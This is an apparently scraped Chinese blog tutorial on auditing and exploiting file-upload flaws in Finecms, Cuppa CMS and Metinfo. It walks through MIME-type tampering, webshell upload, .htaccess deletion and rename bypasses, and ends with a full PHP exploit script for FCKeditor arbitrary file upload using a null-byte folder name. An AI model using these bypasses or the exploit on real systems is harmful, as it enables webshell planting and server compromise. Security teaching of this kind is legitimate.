当前位置: 首页 > news >正文

怎么建立图片的网站吗wordpress 插件 块

怎么建立图片的网站吗,wordpress 插件 块,做网站不用服务器,焦作网络推广哪家好目录 前置知识点 Finecms-CMS文件上传 ​编辑 Cuppa-Cms文件上传 Metinfo-CMS 文件上传 前置知识点 思路#xff1a; 黑盒就是寻找一切存在文件上传的功能应用 1 、个人用户中心是否存在文件上传功能 2 、后台管理系统是否存在文件上传功能 3 、字典目录扫描探针文件上传构…目录 前置知识点 Finecms-CMS文件上传 ​编辑 Cuppa-Cms文件上传 Metinfo-CMS 文件上传 前置知识点 思路 黑盒就是寻找一切存在文件上传的功能应用 1 、个人用户中心是否存在文件上传功能 2 、后台管理系统是否存在文件上传功能 3 、字典目录扫描探针文件上传构造地址 4 、字典目录扫描探针编辑器目录构造地址 白盒看三点中间件编辑器功能代码 1 、中间件直接看语言环境常见搭配 2 、编辑器直接看目录机构或搜索关键字 3 、功能代码直接看源码应用或搜索关键字 Finecms-CMS文件上传 黑盒思路寻找上传点抓包修改突破获取状态码及地址 首先是进行页面分析寻找上传点一般都是需要注册账号的登上去发现个人中心有一个头像上传的地方 上传一个图片用burp抓包看看数据包有什么结构 直接发送数据包。右键点击图片获取地址http://127.0.0.1:8100/uploadfile/member/3/45x45.jpeg 多次测试图像上传发现对原来的文件进行覆盖重新上传后刚刚获取的http://127.0.0.1:8100/uploadfile/member/3/45x45.jpeg失效 http://127.0.0.1:8086/uploadfile/member/1/45x45.png重新上传后的地址 http://localhost:8086/uploadfile/member/1/45x45.jpeg上传png后失效 可以发现上面抓取的数据包即没有文件的名字也没有文件的后缀名格式。但tx参数有很多熟悉的东西如image/pngbase64这样的字眼尝试把后面的内容放在brup中进行base64解码 decode as-选择base64解码 用C32asm或其他hex工具打开原图片与burp解码后的结果对比可以看到是一模一样的。 常规上传图片数据包应该有   filename   type   上传数据  在这个文件上传中只有   typedata%3Aimage%2Fpng   上传数据是base64后面一长串   filename但是没有看到上传的文件名 可以尝试修改type的值然后再把内容进行编码发送。把文件的类型改为“php”重新发包 可以看到返回{status:0,code:\u4e0a\u4f20\u9519\u8bef\uff1apUnable to save the image. Please make sure the image and file directory are writable.\/p,id:0} 翻译过来就是“上传错误无法保存图像。请确保图像和文件目录是可写的。” 尝试访问http://127.0.0.1:8100/uploadfile/member/1/45x45.php结果返回404 现在有两种可能一就是没有上传成功二就是上传成功但是路径不一样了或者文件名被改了 审计流程功能点-代码文件-代码块-抓包调试-验证测试 同样的进入网站首页注册登入进入个人中心上传图片抓包分析 获取路径找到对应的代码 关键代码如下 public function upload() {// 创建图片存储文件夹$dir SYS_UPLOAD_PATH./member/.$this-uid./;dr_dir_delete($dir);!is_dir($dir) dr_mkdirs($dir);if ($_POST[tx]) {$file str_replace( , , $_POST[tx]);if (preg_match(/^(data:\s*image\/(\w);base64,)/, $file, $result)){$new_file $dir.0x0..$result[2];if (!file_put_contents($new_file, base64_decode(str_replace($result[1], , $file)))) {exit(dr_json(0, 目录权限不足或磁盘已满));} else {$this-load-library(image_lib);$config[create_thumb] TRUE;$config[thumb_marker] ;$config[maintain_ratio] FALSE;$config[source_image] $new_file;foreach (array(30, 45, 90, 180) as $a) {$config[width] $config[height] $a;$config[new_image] $dir.$a.x.$a...$result[2];$this-image_lib-initialize($config);if (!$this-image_lib-resize()) {exit(dr_json(0, 上传错误.$this-image_lib-display_errors()));break;}}list($width, $height, $type, $attr) getimagesize($dir.45x45..$result[2]);!$type exit(dr_json(0, 图片字符串不规范));}} else {exit(dr_json(0, 图片字符串不规范));}} else {exit(dr_json(0, 图片不存在));} $new_file $dir.0x0..$result[2];在这里$result[2] 是从输入数据中提取的 MIME 类型的一部分,在这个例子中是 php并且它直接被用作文件扩展名。由于您的代码没有检查 $result[2] 是否是一个有效的图片类型扩展名因此它允许非图片类型的文件被保存。 文件保存和缩略图生成是独立的操作在代码中原始图片被命名为 0x0.php尽管它实际上是一个 PHP 文件而不是图片首先被保存到磁盘上。然后尝试为这个文件生成多个尺寸的缩略图。 缩略图生成失败不会删除原始文件即使缩略图生成失败并且 exit() 函数被调用以返回错误信息原始文件0x0.php仍然保留在磁盘上。这是因为代码中没有包含在任何情况下删除原始文件的逻辑。 逻辑上的漏洞由于代码允许非图片类型的文件被保存为图片文件并且缩略图生成失败不会触发原始文件的删除因此存在安全风险。攻击者可以利用这个漏洞上传恶意的 PHP 文件并尝试通过其他手段如文件包含漏洞执行它。但是一般黑盒能想到被重命名为0x0.php还是很小的。 上面黑盒看到的状态0上传错误就是我们上传到文件生成缩略图失败了 if (!$this-image_lib-resize()) {exit(dr_json(0, 上传错误.$this-image_lib-display_errors()));break;} 将文件前缀改成了0x0,现在我们尝试将名称改为0x0再次访问 Cuppa-Cms文件上传 黑盒思路 登录进管理界面寻找可利用的点在settings中的files发现可以更改允许的文件扩展名 加上 *.php。 并找到文件管理器且可文件上传这个上传的会检验文件头是不是图片格式的所以写个图片马绕过检测 网站有前端js验证所以需要把文件扩展名改为图片格式的扩展名再用burpsuite抓包改成php 文件管理器还可以显示文件的路径 但访问上传的木马发现访问不了  回到文件管理器其实是.htaccess文件加了限制发现在文件管理器能删除文件就把.htaccess文件删了再去访问 这里不添加php也是可行的上传图片马有一个重命名的功能修改名字的时候抓包改掉后缀 白盒分析发现做了正则表达式过滤过滤也很严谨所以此处上传功能是没有漏洞的 但是黑盒测试通过rename功能突破的我们重点看rename的操作。从这段代码中发现它的文件重命名后缀是通过原有文件拼接上去的只做了前端限制还是会接收文件的绝对地址所以此处是有漏洞的。如果此处对后缀固定则无漏洞。 上传抓包上传发现URLjs/jquery_file_upload/server/php/index.php index.php代码: ini_set(display_errors, 0); error_reporting(E_ALL | E_STRICT); require(UploadHandler.php); $upload_handler new UploadHandler(); 找到UploadHandler.php搜索关键字file type not allowed 因为accept_file_types Filetype not allowed,这段代码所以继续跟踪accept_file_types 这个代码段 查看允许上传的后缀 accept_file_types /.(.$allowed_extensions.)$/i, 跟踪$allowed_extensions应该是在配置文件里生成 全局搜索$allowed_extensions在Configuration.php有声明也是上面黑盒中添加php后缀的那玩意 public $allowed_extensions *.gif; *.jpg; *.jpeg; *.pdf; *.ico; *.png; *.svg;; 很明显这个是白名单过滤。 重命名的数据包指向文件js/filemanager/api/index.php 这段代码是没有任何过滤的 前端没有显示后缀是因为js做了截断找到相对应的HTML代码。全局搜索rename Metinfo-CMS 文件上传 审计流程目录结构-引用编辑器-编辑器安全查询-EXP利用验证 扫描得到fckeditor http://127.0.0.1:8102/fckeditor/ 然后在网上找利用点。 扫描获取版本路径http://127.0.0.1:8102/fckeditor/editor/dialog/fck_about.html 网上找exp用php.exe跑php5.4之前才可以比较老的一个漏洞 ?php error_reporting(0); set_time_limit(0); ini_set(default_socket_timeout, 5); define(STDIN, fopen(php://stdin, r)); $match array(); function http_send($host, $packet) { $sock fsockopen($host, 80); while (!$sock) { print \n[-] No response from {$host}:80 Trying again...; $sock fsockopen($host, 80); } fputs($sock, $packet); while (!feof($sock)) $resp . fread($sock, 1024); fclose($sock); print $resp; return $resp; } function connector_response($html) { global $match; return (preg_match(/OnUploadCompleted\((\d),\(.*)\\)/, $html, $match) in_array($match[1], array(0, 201))); } print \n------------------------------------------------------------------; print \n| FCKEditor Servelet Arbitrary File Upload Exploit |; print \n------------------------------------------------------------------\n; if ($argc 3) { print \nUsage......: php $argv[0] host path\n; print \nExample....: php $argv[0] localhost /\n; print \nExample....: php $argv[0] localhost /FCKEditor/\n; die(); } $host $argv[1]; $path ereg_replace((/){2,}, /, $argv[2]); $filename fvck.gif; $foldername fuck.php%00.gif; $connector editor/filemanager/connectors/php/connector.php; $payload -----------------------------265001916915724\r\n; $payload . Content-Disposition: form-data; name\NewFile\; filename\{$filename}\\r\n; $payload . Content-Type: image/jpeg\r\n\r\n; $payload . GIF89a.\r\n.xiaodi.\n; $payload . -----------------------------265001916915724--\r\n; $packet POST {$path}{$connector}?CommandFileUploadTypeImageCurrentFolder.$foldername. HTTP/1.0\r\n;//print $packet; $packet . Host: {$host}\r\n; $packet . Content-Type: multipart/form-data; boundary---------------------------265001916915724\r\n; $packet . Content-Length: .strlen($payload).\r\n; $packet . Connection: close\r\n\r\n; $packet . $payload; print $packet; if (!connector_response(http_send($host, $packet))) die(\n[-] Upload failed!\n); else print \n[-] Job done! try http://${host}/$match[2] \n; ?
http://www.ho-use.cn/article/10819803.html

相关文章:

  • 网站建设维护费最新军事新闻热点事件
  • 创建一个网站需要什么wordpress小绿锁
  • 简述建设一个网站的具体步骤6桂林生活网二手房市场
  • 惠州网站建设教程自己做网站服务器多少钱
  • 网站开发中什么是站点青岛做网站eoe
  • 票务网站开发什么是门户类型的网站
  • 做视频素材网站网站结构是体现的
  • c2c网站特点wordpress建影视网站
  • 受欢迎的网站建设教程腾讯云lamp wordpress
  • 常州哪里做网站重庆响应式网站设计
  • 做网站还是做微信公众号厂房建设公司哪家好
  • 玉溪网站开发手机网站页面尺寸大小
  • 东莞浩智网站建设哪家好南宁在百度上建网站
  • 上海网站制作的模板网站设计报价
  • 网站空间ip需不需要备案汕头市专注网站建设
  • 合肥建站中小企业网络营销案例
  • 做外贸网站市场网页设计html代码大全python
  • 新建设电影院 网站锕锕锕锕锕锕锕好湿免费网址
  • 做网站素材在哪里找网站开发安卓开发
  • 网站语言版本质感设计网站
  • 怎么在网站做直播间电商网站建设策划
  • 某网站网站的设计与实现网站站点不安全
  • 网站开发一般用什么技术网站可以个人做吗
  • 个人网站建设详细教程住房和城乡建设厅证书查询网
  • 麻城网站建设外贸网站建设模版
  • dede淘宝客网站模板用什么网站推广
  • 比较好的网站开发框架wordpress对联
  • 宁波网站怎么建设代做效果图网站
  • WordPress网站子目录访问阆中市住房和城乡建设局网站
  • 网站如何添加js代码网站开发时遇不到算法